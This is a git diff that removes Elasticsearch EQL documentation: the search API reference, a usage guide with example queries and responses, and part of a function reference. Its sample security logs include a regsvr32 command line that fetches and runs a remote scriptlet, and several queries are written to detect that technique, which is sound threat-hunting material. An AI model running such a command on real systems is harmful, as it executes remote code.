-If the <<eql-search-api-keep-on-completion,`keep_on_completion`>> parameter is
-`false`, {es} only stores <<eql-search-async,async searches>> that do not
-complete within the period set by the
-<<eql-search-api-wait-for-completion-timeout,`wait_for_completion_timeout`>>
-parameter, regardless of this value.
-
-[IMPORTANT]
-====
-You can also specify this value using the `keep_alive` query parameter.
-If both parameters are specified, only the query parameter is used.
-====
---
-
-[[eql-search-api-keep-on-completion]]
-`keep_on_completion`::
-+
---
-(Optional, Boolean)
-If `true`, the search and its results are stored on the cluster.
-
-If `false`, the search and its results are stored on the cluster only if the
-request does not complete during the period set by the
-<<eql-search-api-wait-for-completion-timeout,`wait_for_completion_timeout`>>
-parameter. Defaults to `false`.
-
-[IMPORTANT]
-====
-You can also specify this value using the `keep_on_completion` query parameter.
-If both parameters are specified, only the query parameter is used.
-====
---
-
-[[eql-search-api-request-query-param]]
-`query`::
-(Required, string)
-<<eql-syntax,EQL>> query you wish to run.
-
-`result_position`::
-(Optional, enum)
-Set of matching events or sequences to return.
-+
-.Valid values for `result_position`
-[%collapsible%open]
-====
-`head`::
-(Default)
-Return the earliest matches, similar to the {wikipedia}/Head_(Unix)[Unix head
-command].
-
-`tail`::
-Return the most recent matches, similar to the {wikipedia}/Tail_(Unix)[Unix tail
-command].
-====
-+
-NOTE: This parameter may change the set of returned hits. However, it does not
-change the sort order of hits in the response.
-
-`size`::
-(Optional, integer or float)
-For <<eql-basic-syntax,basic queries>>, the maximum number of matching events to
-return.
-+
-For <<eql-sequences,sequence queries>>, the maximum number of matching sequences
-to return.
-+
-Defaults to `10`. This value must be greater than `0`.
-+
-NOTE: You cannot use <<eql-pipe-ref,pipes>>, such as `head` or `tail`, to exceed
-this value.
-
-[[eql-search-api-tiebreaker-field]]
-`tiebreaker_field`::
-(Optional, string)
-Field used to sort hits with the same
-<<eql-search-api-timestamp-field,timestamp>> in ascending order. See
-<<eql-search-specify-a-sort-tiebreaker>>.
-
-[[eql-search-api-timestamp-field]]
-`timestamp_field`::
-+
---
-(Required*, string)
-Field containing event timestamp.
-
-Defaults to `@timestamp`, as defined in the
-{ecs-ref}/ecs-event.html[Elastic Common Schema (ECS)]. If a data stream or index
-does not contain the `@timestamp` field, this value is required.
-
-Events in the API response are sorted by this field's value, converted to
-milliseconds since the {wikipedia}/Unix_time[Unix epoch], in
-ascending order.
-
-The timestamp field should be mapped as a <<date,`date`>>. The
-<<date_nanos,`date_nanos`>> field type is not supported.
---
-
-[[eql-search-api-wait-for-completion-timeout]]
-`wait_for_completion_timeout`::
-+
---
-(Optional, <<time-units,time value>>)
-Timeout duration to wait for the request to finish. Defaults to no
-timeout, meaning the request waits for complete search results.
-
-If this parameter is specified and the request completes during this period,
-complete search results are returned.
-
-If the request does not complete during this period, the search becomes an
-<<eql-search-async,async search>>.
-
-[IMPORTANT]
-====
-You can also specify this value using the `wait_for_completion_timeout` query
-parameter. If both parameters are specified, only the query parameter is used.
-====
---
-
-[role="child_attributes"]
-[[eql-search-api-response-body]]
-==== {api-response-body-title}
-
-[[eql-search-api-response-body-search-id]]
-`id`::
-+
---
-(string)
-Identifier for the search.
-
-This search ID is only provided if one of the following conditions is met:
-
-* A search request does not return complete results during the
-  <<eql-search-api-wait-for-completion-timeout,`wait_for_completion_timeout`>>
-  parameter's timeout period, becoming an <<eql-search-async,async search>>.
-
-* The search request's <<eql-search-api-keep-on-completion,`keep_on_completion`>>
-  parameter is `true`.
-
-You can use this ID with the <<get-async-eql-search-api,get async EQL search
-API>> to get the current status and available results for the search.
---
-
-`is_partial`::
-(Boolean)
-If `true`, the response does not contain complete search results.
-
-`is_running`::
-+
---
-(Boolean)
-If `true`, the search request is still executing.
-
-[IMPORTANT]
-====
-If this parameter and the `is_partial` parameter are `true`, the search is an
-<<eql-search-async,ongoing async search>>. If the `keep_alive` period does not
-pass, the complete search results will be available when the search completes.
-
-If `is_partial` is `true` but `is_running` is `false`, the search returned
-partial results due to a failure. Only some shards returned results or the node
-coordinating the search failed.
-====
---
-
-`took`::
-+
---
-(integer)
-Milliseconds it took {es} to execute the request.
-
-This value is calculated by measuring the time elapsed
-between receipt of a request on the coordinating node
-and the time at which the coordinating node is ready to send the response.
-
-Took time includes:
-
-* Communication time between the coordinating node and data nodes
-* Time the request spends in the `search` <<modules-threadpool,thread pool>>,
-  queued for execution
-* Actual execution time
-
-Took time does *not* include:
-
-* Time needed to send the request to {es}
-* Time needed to serialize the JSON response
-* Time needed to send the response to a client
---
-
-`timed_out`::
-(Boolean)
-If `true`, the request timed out before completion.
-
-`hits`::
-(object)
-Contains matching events and sequences. Also contains related metadata.
-+
-.Properties of `hits`
-[%collapsible%open]
-====
-
-`total`::
-(object)
-Metadata about the number of matching events or sequences.
-+
-.Properties of `total`
-[%collapsible%open]
-=====
-
-`value`::
-(integer)
-For <<eql-basic-syntax,basic queries>>, the total number of matching events.
-+
-For <<eql-sequences,sequence queries>>, the total number of matching sequences.
-
-`relation`::
-+
---
-(string)
-Indicates whether the number of events or sequences returned is accurate or a
-lower bound.
-
-Returned values are:
-
-`eq`::: Accurate
-`gte`::: Lower bound, including returned events or sequences
---
-=====
-
-`sequences`::
-(array of objects)
-Contains event sequences matching the query. Each object represents a
-matching sequence. This parameter is only returned for EQL queries containing
-a <<eql-sequences,sequence>>.
-+
-.Properties of `sequences` objects
-[%collapsible%open]
-=====
-`join_keys`::
-(array of values)
-Shared field values used to constrain matches in the sequence. These are defined
-using the <<eql-sequences,`by` keyword>> in the EQL query syntax.
-
-`events`::
-(array of objects)
-Contains events matching the query. Each object represents a
-matching event.
-+
-.Properties of `events` objects
-[%collapsible%open]
-======
-`_index`::
-(string)
-Name of the index containing the event.
-
-`_id`::
-(string)
-Unique identifier for the event.
-This ID is only unique within the index.
-
-`_source`::
-(object)
-Original JSON body passed for the event at index time.
-======
-=====
-
-[[eql-search-api-response-events]]
-`events`::
-(array of objects)
-Contains events matching the query. Each object represents a
-matching event.
-+
-.Properties of `events` objects
-[%collapsible%open]
-=====
-`_index`::
-(string)
-Name of the index containing the event.
-
-`_id`::
-(string)
-(string)
-Unique identifier for the event.
-This ID is only unique within the index.
-
-`_source`::
-(object)
-Original JSON body passed for the event at index time.
-=====
-====
-
-[[eql-search-api-example]]
-==== {api-examples-title}
-
-[[eql-search-api-basic-query-ex]]
-===== Basic query example
-
-The following EQL search request searches for events with an `event.category` of
-`process` that meet the following conditions:
-
-* A `process.name` of `cmd.exe`
-* An `process.pid` other than `2013`
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "query": """
-    process where (process.name == "cmd.exe" and process.pid != 2013)
-  """
-}
-----
-// TEST[setup:sec_logs]
-
-The API returns the following response. Matching events in the `hits.events`
-property are sorted by <<eql-search-api-timestamp-field,timestamp>>, converted
-to milliseconds since the {wikipedia}/Unix_time[Unix epoch],
-in ascending order.
-
-If two or more events share the same timestamp, the
-<<eql-search-api-tiebreaker-field,`tiebreaker_field`>> field is used to sort
-the events in ascending order.
-
-[source,console-result]
-----
-{
-  "is_partial": false,
-  "is_running": false,
-  "took": 6,
-  "timed_out": false,
-  "hits": {
-    "total": {
-      "value": 2,
-      "relation": "eq"
-    },
-    "events": [
-      {
-        "_index": "my-index-000001",
-        "_id": "babI3XMBI9IjHuIqU0S_",
-        "_source": {
-          "@timestamp": "2099-12-06T11:04:05.000Z",
-          "event": {
-            "category": "process",
-            "id": "edwCRnyD",
-            "sequence": 1
-          },
-          "process": {
-            "pid": 2012,
-            "name": "cmd.exe",
-            "executable": "C:\\Windows\\System32\\cmd.exe"
-          }
-        }
-      },
-      {
-        "_index": "my-index-000001",
-        "_id": "b6bI3XMBI9IjHuIqU0S_",
-        "_source": {
-          "@timestamp": "2099-12-07T11:06:07.000Z",
-          "event": {
-            "category": "process",
-            "id": "cMyt5SZ2",
-            "sequence": 3
-          },
-          "process": {
-            "pid": 2012,
-            "name": "cmd.exe",
-            "executable": "C:\\Windows\\System32\\cmd.exe"
-          }
-        }
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[s/"took": 6/"took": $body.took/]
-// TESTRESPONSE[s/"_id": "babI3XMBI9IjHuIqU0S_"/"_id": $body.hits.events.0._id/]
-// TESTRESPONSE[s/"_id": "b6bI3XMBI9IjHuIqU0S_"/"_id": $body.hits.events.1._id/]
-
-[[eql-search-api-sequence-ex]]
-===== Sequence query example
-
-The following EQL search request matches a <<eql-sequences,sequence>> of events
-that:
-
-. Start with an event with:
-+
---
-* An `event.category` of `file`
-* A `file.name` of `cmd.exe`
-* An `process.pid` other than `2013`
---
-. Followed by an event with:
-+
---
-* An `event.category` of `process`
-* A `process.executable` that contains the substring `regsvr32`
---
-
-These events must also share the same `process.pid` value.
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "query": """
-    sequence by process.pid
-      [ file where file.name == "cmd.exe" and process.pid != 2013 ]
-      [ process where stringContains(process.executable, "regsvr32") ]
-  """
-}
-----
-// TEST[setup:sec_logs]
-
-The API returns the following response. Matching sequences are included in the
-`hits.sequences` property. The `hits.sequences.join_keys` property contains the
-shared `process.pid` value for each matching event.
-
-[source,console-result]
-----
-{
-  "is_partial": false,
-  "is_running": false,
-  "took": 6,
-  "timed_out": false,
-  "hits": {
-    "total": {
-      "value": 1,
-      "relation": "eq"
-    },
-    "sequences": [
-      {
-        "join_keys": [
-          2012
-        ],
-        "events": [
-          {
-            "_index": "my-index-000001",
-            "_id": "AtOJ4UjUBAAx3XR5kcCM",
-            "_source": {
-              "@timestamp": "2099-12-06T11:04:07.000Z",
-              "event": {
-                "category": "file",
-                "id": "dGCHwoeS",
-                "sequence": 2
-              },
-              "file": {
-                "accessed": "2099-12-07T11:07:08.000Z",
-                "name": "cmd.exe",
-                "path": "C:\\Windows\\System32\\cmd.exe",
-                "type": "file",
-                "size": 16384
-              },
-              "process": {
-                "pid": 2012,
-                "name": "cmd.exe",
-                "executable": "C:\\Windows\\System32\\cmd.exe"
-              }
-            }
-          },
-          {
-            "_index": "my-index-000001",
-            "_id": "OQmfCaduce8zoHT93o4H",
-            "_source": {
-              "@timestamp": "2099-12-07T11:07:09.000Z",
-              "event": {
-                "category": "process",
-                "id": "aR3NWVOs",
-                "sequence": 4
-              },
-              "process": {
-                "pid": 2012,
-                "name": "regsvr32.exe",
-                "command_line": "regsvr32.exe  /s /u /i:https://...RegSvr32.sct scrobj.dll",
-                "executable": "C:\\Windows\\System32\\regsvr32.exe"
-              }
-            }
-          }
-        ]
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[s/"took": 6/"took": $body.took/]
-// TESTRESPONSE[s/"_id": "AtOJ4UjUBAAx3XR5kcCM"/"_id": $body.hits.sequences.0.events.0._id/]
-// TESTRESPONSE[s/"_id": "OQmfCaduce8zoHT93o4H"/"_id": $body.hits.sequences.0.events.1._id/]
diff --git a/docs/reference/eql/eql.asciidoc b/docs/reference/eql/eql.asciidoc
deleted file mode 100644
index 6cbdf2975dc..00000000000
--- a/docs/reference/eql/eql.asciidoc
+++ /dev/null
@@ -1,621 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[eql]]
-= EQL search
-++++
-<titleabbrev>EQL</titleabbrev>
-++++
-
-beta::[]
-
-Event Query Language (EQL) is a query language for event-based time series
-data, such as logs, metrics, and traces.
-
-[discrete]
-[[eql-advantages]]
-== Advantages of EQL
-
-* *EQL lets you express relationships between events.* +
-Many query languages allow you to match single events. EQL lets you match a
-sequence of events across different event categories and time spans.
-
-* *EQL has a low learning curve.* +
-<<eql-syntax,EQL syntax>> looks like other common query languages, such as SQL.
-EQL lets you write and read queries intuitively, which makes for quick,
-iterative searching.
-
-* *EQL is designed for security use cases.* +
-While you can use it for any event-based data, we created EQL for threat
-hunting. EQL not only supports indicator of compromise (IOC) searches but can
-describe activity that goes beyond IOCs.
-
-[discrete]
-[[eql-required-fields]]
-== Required fields
-
-To run an EQL search, the searched data stream or index must contain a
-_timestamp_ and _event category_ field. By default, EQL uses the `@timestamp`
-and `event.category` fields from the {ecs-ref}[Elastic Common Schema
-(ECS)]. To use a different timestamp or event category field, see
-<<specify-a-timestamp-or-event-category-field>>.
-
-TIP: While no schema is required to use EQL, we recommend using the
-{ecs-ref}[ECS]. EQL searches are designed to work with core ECS fields by
-default.
-
-[discrete]
-[[run-an-eql-search]]
-== Run an EQL search
-
-Use the <<eql-search-api,EQL search API>> to run a <<eql-basic-syntax,basic
-EQL query>>:
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "query": """
-    process where process.name == "regsvr32.exe"
-  """
-}
-----
-// TEST[setup:sec_logs]
-
-By default, basic EQL queries return the top 10 matching events in the
-`hits.events` property. These hits are sorted by timestamp, converted to
-milliseconds since the {wikipedia}/Unix_time[Unix epoch], in ascending order.
-
-[source,console-result]
-----
-{
-  "is_partial": false,
-  "is_running": false,
-  "took": 60,
-  "timed_out": false,
-  "hits": {
-    "total": {
-      "value": 2,
-      "relation": "eq"
-    },
-    "events": [
-      {
-        "_index": "my-index-000001",
-        "_id": "OQmfCaduce8zoHT93o4H",
-        "_source": {
-          "@timestamp": "2099-12-07T11:07:09.000Z",
-          "event": {
-            "category": "process",
-            "id": "aR3NWVOs",
-            "sequence": 4
-          },
-          "process": {
-            "pid": 2012,
-            "name": "regsvr32.exe",
-            "command_line": "regsvr32.exe  /s /u /i:https://...RegSvr32.sct scrobj.dll",
-            "executable": "C:\\Windows\\System32\\regsvr32.exe"
-          }
-        }
-      },
-      {
-        "_index": "my-index-000001",
-        "_id": "xLkCaj4EujzdNSxfYLbO",
-        "_source": {
-          "@timestamp": "2099-12-07T11:07:10.000Z",
-          "event": {
-            "category": "process",
-            "id": "GTSmSqgz0U",
-            "sequence": 6,
-            "type": "termination"
-          },
-          "process": {
-            "pid": 2012,
-            "name": "regsvr32.exe",
-            "executable": "C:\\Windows\\System32\\regsvr32.exe"
-          }
-        }
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[s/"took": 60/"took": $body.took/]
-// TESTRESPONSE[s/"_id": "OQmfCaduce8zoHT93o4H"/"_id": $body.hits.events.0._id/]
-// TESTRESPONSE[s/"_id": "xLkCaj4EujzdNSxfYLbO"/"_id": $body.hits.events.1._id/]
-
-Use the `size` parameter to get a smaller or larger set of hits:
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "query": """
-    process where process.name == "regsvr32.exe"
-  """,
-  "size": 50
-}
-----
-// TEST[setup:sec_logs]
-
-[discrete]
-[[eql-search-sequence]]
-=== Search for a sequence of events
-
-Use EQL's <<eql-sequences,sequence syntax>> to search for a series of
-ordered events. List the event items in ascending chronological order,
-with the most recent event listed last:
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "query": """
-    sequence
-      [ process where process.name == "regsvr32.exe" ]
-      [ file where stringContains(file.name, "scrobj.dll") ]
-  """
-}
-----
-// TEST[setup:sec_logs]
-
-Matching sequences are returned in the `hits.sequences` property.
-
-[source,console-result]
-----
-{
-  "is_partial": false,
-  "is_running": false,
-  "took": 60,
-  "timed_out": false,
-  "hits": {
-    "total": {
-      "value": 1,
-      "relation": "eq"
-    },
-    "sequences": [
-      {
-        "events": [
-          {
-            "_index": "my-index-000001",
-            "_id": "OQmfCaduce8zoHT93o4H",
-            "_source": {
-              "@timestamp": "2099-12-07T11:07:09.000Z",
-              "event": {
-                "category": "process",
-                "id": "aR3NWVOs",
-                "sequence": 4
-              },
-              "process": {
-                "pid": 2012,
-                "name": "regsvr32.exe",
-                "command_line": "regsvr32.exe  /s /u /i:https://...RegSvr32.sct scrobj.dll",
-                "executable": "C:\\Windows\\System32\\regsvr32.exe"
-              }
-            }
-          },
-          {
-            "_index": "my-index-000001",
-            "_id": "yDwnGIJouOYGBzP0ZE9n",
-            "_source": {
-              "@timestamp": "2099-12-07T11:07:10.000Z",
-              "event": {
-                "category": "file",
-                "id": "tZ1NWVOs",
-                "sequence": 5
-              },
-              "process": {
-                "pid": 2012,
-                "name": "regsvr32.exe",
-                "executable": "C:\\Windows\\System32\\regsvr32.exe"
-              },
-              "file": {
-                "path": "C:\\Windows\\System32\\scrobj.dll",
-                "name": "scrobj.dll"
-              }
-            }
-          }
-        ]
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[s/"took": 60/"took": $body.took/]
-// TESTRESPONSE[s/"_id": "OQmfCaduce8zoHT93o4H"/"_id": $body.hits.sequences.0.events.0._id/]
-// TESTRESPONSE[s/"_id": "yDwnGIJouOYGBzP0ZE9n"/"_id": $body.hits.sequences.0.events.1._id/]
-
-Use the <<eql-with-maxspan-keywords,`with maxspan` keywords>> to constrain
-matching sequences to a timespan:
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "query": """
-    sequence with maxspan=1h
-      [ process where process.name == "regsvr32.exe" ]
-      [ file where stringContains(file.name, "scrobj.dll") ]
-  """
-}
-----
-// TEST[setup:sec_logs]
-
-Use the <<eql-by-keyword,`by` keyword>> to match events that share the
-same field values:
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "query": """
-    sequence with maxspan=1h
-      [ process where process.name == "regsvr32.exe" ] by process.pid
-      [ file where stringContains(file.name, "scrobj.dll") ] by process.pid
-  """
-}
-----
-// TEST[setup:sec_logs]
-
-If a field value should be shared across all events, use the `sequence by`
-keyword. The following query is equivalent to the previous one.
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "query": """
-    sequence by process.pid with maxspan=1h
-      [ process where process.name == "regsvr32.exe" ]
-      [ file where stringContains(file.name, "scrobj.dll") ]
-  """
-}
-----
-// TEST[setup:sec_logs]
-
-The `hits.sequences.join_keys` property contains the shared field values.
-
-[source,console-result]
-----
-{
-  "is_partial": false,
-  "is_running": false,
-  "took": 60,
-  "timed_out": false,
-  "hits": {
-    "total": {
-      "value": 1,
-      "relation": "eq"
-    },
-    "sequences": [
-      {
-        "join_keys": [
-          2012
-        ],
-        "events": [
-          {
-            "_index": "my-index-000001",
-            "_id": "OQmfCaduce8zoHT93o4H",
-            "_source": {
-              "@timestamp": "2099-12-07T11:07:09.000Z",
-              "event": {
-                "category": "process",
-                "id": "aR3NWVOs",
-                "sequence": 4
-              },
-              "process": {
-                "pid": 2012,
-                "name": "regsvr32.exe",
-                "command_line": "regsvr32.exe  /s /u /i:https://...RegSvr32.sct scrobj.dll",
-                "executable": "C:\\Windows\\System32\\regsvr32.exe"
-              }
-            }
-          },
-          {
-            "_index": "my-index-000001",
-            "_id": "yDwnGIJouOYGBzP0ZE9n",
-            "_source": {
-              "@timestamp": "2099-12-07T11:07:10.000Z",
-              "event": {
-                "category": "file",
-                "id": "tZ1NWVOs",
-                "sequence": 5
-              },
-              "process": {
-                "pid": 2012,
-                "name": "regsvr32.exe",
-                "executable": "C:\\Windows\\System32\\regsvr32.exe"
-              },
-              "file": {
-                "path": "C:\\Windows\\System32\\scrobj.dll",
-                "name": "scrobj.dll"
-              }
-            }
-          }
-        ]
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[s/"took": 60/"took": $body.took/]
-// TESTRESPONSE[s/"_id": "OQmfCaduce8zoHT93o4H"/"_id": $body.hits.sequences.0.events.0._id/]
-// TESTRESPONSE[s/"_id": "yDwnGIJouOYGBzP0ZE9n"/"_id": $body.hits.sequences.0.events.1._id/]
-
-Use the <<eql-until-keyword,`until` keyword>> to specify an expiration
-event for sequences. Matching sequences must end before this event.
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "query": """
-    sequence by process.pid with maxspan=1h
-      [ process where process.name == "regsvr32.exe" ]
-      [ file where stringContains(file.name, "scrobj.dll") ]
-    until [ process where event.type == "termination" ]
-  """
-}
-----
-// TEST[setup:sec_logs]
-
-[discrete]
-[[specify-a-timestamp-or-event-category-field]]
-=== Specify a timestamp or event category field
-
-The EQL search API uses the `@timestamp` and `event.category` fields from the
-{ecs-ref}[ECS] by default. To specify different fields, use the
-`timestamp_field` and `event_category_field` parameters:
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "timestamp_field": "file.accessed",
-  "event_category_field": "file.type",
-  "query": """
-    file where (file.size > 1 and file.type == "file")
-  """
-}
-----
-// TEST[setup:sec_logs]
-
-The event category field must be mapped as a <<keyword,`keyword`>> family field
-type. The timestamp field should be mapped as a <<date,`date`>> field type.
-<<date_nanos,`date_nanos`>> timestamp fields are not supported. You cannot use a
-<<nested,`nested`>> field or the sub-fields of a `nested` field as the timestamp
-or event category field.
-
-[discrete]
-[[eql-search-specify-a-sort-tiebreaker]]
-=== Specify a sort tiebreaker
-
-By default, the EQL search API returns matching hits by timestamp. If two or
-more events share the same timestamp, {es} uses a tiebreaker field value to sort
-the events in ascending order. {es} orders events with no
-tiebreaker value after events with a value.
-
-If you don't specify a tiebreaker field or the events also share the same
-tiebreaker value, {es} considers the events concurrent. Concurrent events cannot
-be part of the same sequence and may not be returned in a consistent sort order.
-
-To specify a tiebreaker field, use the `tiebreaker_field` parameter. If you use
-the {ecs-ref}[ECS], we recommend using `event.sequence` as the tiebreaker field.
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "tiebreaker_field": "event.sequence",
-  "query": """
-    process where process.name == "cmd.exe" and stringContains(process.executable, "System32")
-  """
-}
-----
-// TEST[setup:sec_logs]
-
-[discrete]
-[[eql-search-filter-query-dsl]]
-=== Filter using query DSL
-
-The `filter` parameter uses <<query-dsl,query DSL>> to limit the documents on
-which an EQL query runs.
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "filter": {
-    "range" : {
-      "file.size" : {
-        "gte" : 1,
-        "lte" : 1000000
-      }
-    }
-  },
-  "query": """
-    file where (file.type == "file" and file.name == "cmd.exe")
-  """
-}
-----
-// TEST[setup:sec_logs]
-
-[discrete]
-[[eql-search-async]]
-=== Run an async EQL search
-
-By default, EQL search requests are synchronous and wait for complete results
-before returning a response. However, complete results can take longer for
-searches across <<frozen-indices,frozen indices>> or
-<<modules-cross-cluster-search,multiple clusters>>.
-
-To avoid long waits, run an async EQL search. Set the
-`wait_for_completion_timeout` parameter to a duration you'd like to wait for
-synchronous results.
-
-[source,console]
-----
-GET /frozen-my-index-000001/_eql/search
-{
-  "wait_for_completion_timeout": "2s",
-  "query": """
-    process where process.name == "cmd.exe"
-  """
-}
-----
-// TEST[setup:sec_logs]
-// TEST[s/frozen-my-index-000001/my-index-000001/]
-
-If the request doesn't finish within the timeout period, the search becomes async
-and returns a response that includes:
-
-* A search ID
-* An `is_partial` value of `true`, indicating the search results are
-  incomplete
-* An `is_running` value of `true`, indicating the search is ongoing
-
-The async search continues to run in the background without blocking other
-requests.
-
-[source,console-result]
-----
-{
-  "id": "FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=",
-  "is_partial": true,
-  "is_running": true,
-  "took": 2000,
-  "timed_out": false,
-  "hits": ...
-}
-----
-// TESTRESPONSE[s/FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=/$body.id/]
-// TESTRESPONSE[s/"is_partial": true/"is_partial": $body.is_partial/]
-// TESTRESPONSE[s/"is_running": true/"is_running": $body.is_running/]
-// TESTRESPONSE[s/"took": 2000/"took": $body.took/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
-
-To check the progress of an async search, use the <<get-async-eql-search-api,get
-async EQL search API>> with the search ID. Specify how long you'd like for
-complete results in the `wait_for_completion_timeout` parameter.
-
-[source,console]
-----
-GET /_eql/search/FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=?wait_for_completion_timeout=2s
-----
-// TEST[skip: no access to search ID]
-
-If the response's `is_running` value is `false`, the async search has finished.
-If the `is_partial` value is `false`, the returned search results are
-complete.
-
-[source,console-result]
-----
-{
-  "id": "FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=",
-  "is_partial": false,
-  "is_running": false,
-  "took": 2000,
-  "timed_out": false,
-  "hits": ...
-}
-----
-// TESTRESPONSE[s/FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=/$body.id/]
-// TESTRESPONSE[s/"took": 2000/"took": $body.took/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
-
-[discrete]
-[[eql-search-store-async-eql-search]]
-=== Change the search retention period
-
-By default, the EQL search API stores async searches for five days. After this
-period, any searches and their results are deleted. Use the `keep_alive`
-parameter to change this retention period:
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "keep_alive": "2d",
-  "wait_for_completion_timeout": "2s",
-  "query": """
-    process where process.name == "cmd.exe"
-  """
-}
-----
-// TEST[setup:sec_logs]
-
-You can use the <<get-async-eql-search-api,get async EQL search API>>'s
-`keep_alive` parameter to later change the retention period. The new retention
-period starts after the get request runs.
-
-[source,console]
-----
-GET /_eql/search/FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=?keep_alive=5d
-----
-// TEST[skip: no access to search ID]
-
-Use the <<delete-async-eql-search-api,delete async EQL search API>> to
-manually delete an async EQL search before the `keep_alive` period ends. If the
-search is still ongoing, {es} cancels the search request.
-
-[source,console]
-----
-DELETE /_eql/search/FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=?keep_alive=5d
-----
-// TEST[skip: no access to search ID]
-
-[discrete]
-[[eql-search-store-sync-eql-search]]
-=== Store synchronous EQL searches
-
-By default, the EQL search API only stores async searches. To save a synchronous
-search, set `keep_on_completion` to `true`:
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "keep_on_completion": true,
-  "wait_for_completion_timeout": "2s",
-  "query": """
-    process where process.name == "cmd.exe"
-  """
-}
-----
-// TEST[setup:sec_logs]
-
-The response includes a search ID. `is_partial` and `is_running` are `false`,
-indicating the EQL search was synchronous and returned complete results.
-
-[source,console-result]
-----
-{
-  "id": "FjlmbndxNmJjU0RPdExBTGg0elNOOEEaQk9xSjJBQzBRMldZa1VVQ2pPa01YUToxMDY=",
-  "is_partial": false,
-  "is_running": false,
-  "took": 52,
-  "timed_out": false,
-  "hits": ...
-}
-----
-// TESTRESPONSE[s/FjlmbndxNmJjU0RPdExBTGg0elNOOEEaQk9xSjJBQzBRMldZa1VVQ2pPa01YUToxMDY=/$body.id/]
-// TESTRESPONSE[s/"took": 52/"took": $body.took/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
-
-Use the <<get-async-eql-search-api,get async EQL search API>> to get the
-same results later:
-
-[source,console]
-----
-GET /_eql/search/FjlmbndxNmJjU0RPdExBTGg0elNOOEEaQk9xSjJBQzBRMldZa1VVQ2pPa01YUToxMDY=
-----
-// TEST[skip: no access to search ID]
-
-Saved synchronous searches are still subject to the `keep_alive` parameter's
-retention period. When this period ends, the search and its results are deleted.
-
-You can also manually delete saved synchronous searches using the
-<<delete-async-eql-search-api,delete async EQL search API>>.
-
-include::syntax.asciidoc[]
-include::functions.asciidoc[]
-include::pipes.asciidoc[]
-include::detect-threats-with-eql.asciidoc[]
diff --git a/docs/reference/eql/functions.asciidoc b/docs/reference/eql/functions.asciidoc
deleted file mode 100644
index 8d0f1a6da36..00000000000
--- a/docs/reference/eql/functions.asciidoc
+++ /dev/null
@@ -1,1063 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[eql-function-ref]]
-== EQL function reference
-++++
-<titleabbrev>Function reference</titleabbrev>
-++++
-
-beta::[]
-
-{es} supports the following <<eql-functions,EQL functions>>. Most EQL functions
-are case-sensitive by default.
-
-[discrete]
-[[eql-fn-add]]
-=== `add`
-Returns the sum of two provided addends.
-
-*Example*
-[source,eql]
-----
-add(4, 5)                                           // returns 9
-add(4, 0.5)                                         // returns 4.5
-add(0.5, 0.25)                                      // returns 0.75
-add(4, -2)                                          // returns 2
-add(-2, -2)                                         // returns -4
-
-// process.args_count = 4
-add(process.args_count, 5)                          // returns 9
-add(process.args_count, 0.5)                        // returns 4.5
-
-// process.parent.args_count = 2
-add(process.args_count, process.parent.args_count)  // returns 6
-
-// null handling
-add(null, 4)                                        // returns null
-add(4. null)                                        // returns null
-add(null, process.args_count)                       // returns null
-add(process.args_count null)                        // returns null
-----
-
-*Syntax*
-[source,txt]
-----
-add(<addend>, <addend>)
-----
-
-*Parameters:*
-
-`<addend>`::
-(Required, integer or float or `null`)
-Addend to add. If `null`, the function returns `null`.
-+
-Two addends are required. No more than two addends can be provided.
-+
-If using a field as the argument, this parameter supports only
-<<number,`numeric`>> field data types.
-
-*Returns:* integer, float, or `null`
-
-[discrete]
-[[eql-fn-between]]
-=== `between`
-
-Extracts a substring that's between a provided `left` and `right` text in a
-source string. Matching is case-sensitive.
-
-*Example*
-[source,eql]
-----
-// file.path = "C:\\Windows\\System32\\cmd.exe"
-between(file.path, "system32\\\\", ".exe")                // returns "cmd"
-between(file.path, "workspace\\\\", ".exe")               // returns ""
-
-// Greedy matching defaults to false.
-between(file.path, "\\\\", "\\\\", false)                 // returns "Windows"
-
-// Sets greedy matching to true
-between(file.path, "\\\\", "\\\\", true)                  // returns "Windows\\System32"
-
-// empty source string
-between("", "system32\\\\", ".exe")                       // returns ""
-between("", "", "")                                       // returns ""
-
-// null handling
-between(null, "system32\\\\", ".exe")                     // returns null
-----
-
-*Syntax*
-[source,txt]
-----
-between(<source>, <left>, <right>[, <greedy_matching>])
-----
-
-*Parameters*
-
